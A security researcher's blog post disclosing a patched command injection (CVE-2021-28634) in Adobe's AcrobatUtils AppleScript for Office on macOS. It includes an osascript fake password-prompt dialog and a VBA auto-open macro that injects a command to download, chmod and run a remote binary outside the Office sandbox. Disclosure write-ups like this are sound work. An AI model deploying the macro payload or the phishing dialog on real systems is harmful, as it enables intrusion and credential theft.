Adobe Acrobat Command Injection (CVE-2021-28634)

During a recent red team engagement I was looking into options for VB macro execution on MacOS. The enterprise system I was investigating had Adobe Acrobat installed along with Microsoft Office integrations basically adding an Adobe tab to Word and Excel to convert documents to PDF.

On whim, I decided to take a look at how this might be working, and started poking around the file system. Turns out Adobe installs an AppleScript file to ~/Library/Application Scripts/com.microsoft.{Word,Excel,Powerpoint}/AcrobatUtils.scpt.

Briefly, an scpt file is a compiled AppleScript application. AppleScript is an IPC mechanism for MacOS and provides scripting control for aspects of the OS and applications. According to Wikipedia

The term “AppleScript” may refer to the language itself, to an individual script written in the language, or, informally, to the macOS Open Scripting Architecture that underlies the language.

I’m sure there are legitimate uses for AppleScript but typically it’s used to ask for a user’s credentials.

osascript -e 'display dialog "Your compromised Mac is requesting your password" with title "Just Trust Me" default answer "" with icon stop with hidden answer'

And if you have an AppleScript file, you can compile it to various formats with osacompile: osacompile -l AppleScript -d -o test.scpt test.applescript

Thanks Adobe

Anyways, this AcrobatUtils.scpt can be opened in the Script Editor or just by calling open ~/Library/Application Scripts/com.microsoft.{Word,Excel,Powerpoint}/AcrobatUtils.scpt.

And in the script editor we see the functions OpenPDFFile and ConvertToPDF both of which contain functions that pass a filepath into do shell script.

I wondered if a filename of file.pdf; open /System/Applications/Calculator.app would do what I suspected. And it did.

How can we abuse this from the context of a VB Macro? According to the Microsoft docs, the VB AppleScriptTask command “can execute an AppleScript script file located outside the sandboxed app … The MyAppleScript.applescript file must be in ~/Library/Application Scripts/[bundle id]/.” And the Adobe script is there for our taking.

We can do something trivial like call the OpenPDFFile function within the specified AcrobatUtils.scpt file and curl, chmod, and execute. And we’ll see that we’re outside of the Microsoft sandbox, although still subject to the MacOS Privacy Controls, TCC.

Sub Document_Open()
    Dim x As String
    x = AppleScriptTask("AcrobatUtils.scpt", "OpenPDFFile", "file.pdf; curl -o /tmp/malicious https://example.com/malicious.bin; chmod +x /tmp/malicious; nohup /bin/bash -c /tmp/malicious &> /dev/null & ")
End Sub

Typically, using the VBA Shell function should restrict us to the Microsoft sandbox and require another escape. Previous research by Adam Chester discusses the sandbox restricting access to system resources even if you gain command and control from macro execution. Using Adobe’s vulnerable AcrobatUtils functions avoids this.

It’s Patched

After reporting to Adobe via their bug bounty program on HackerOne, and waiting five months, Adobe responded stating the issue had been fixed and CVE-2021-28634 had been issued.

After updating and looking at the new file we see they used Apple Script’s quoted form of filePath to escape the input to the do shell script.

According to Apple’s developer documentation, quoted form should safely escape user provided input.

The easiest way to quote a string is to use the quoted form property of the text class … This property returns the string in a form that’s safe from further interpretation by the shell, regardless of its contents.

Surprised to see Adobe suffering from a basic command injection vuln like this even if it is a little obscure. Update your Adobe Acrobats!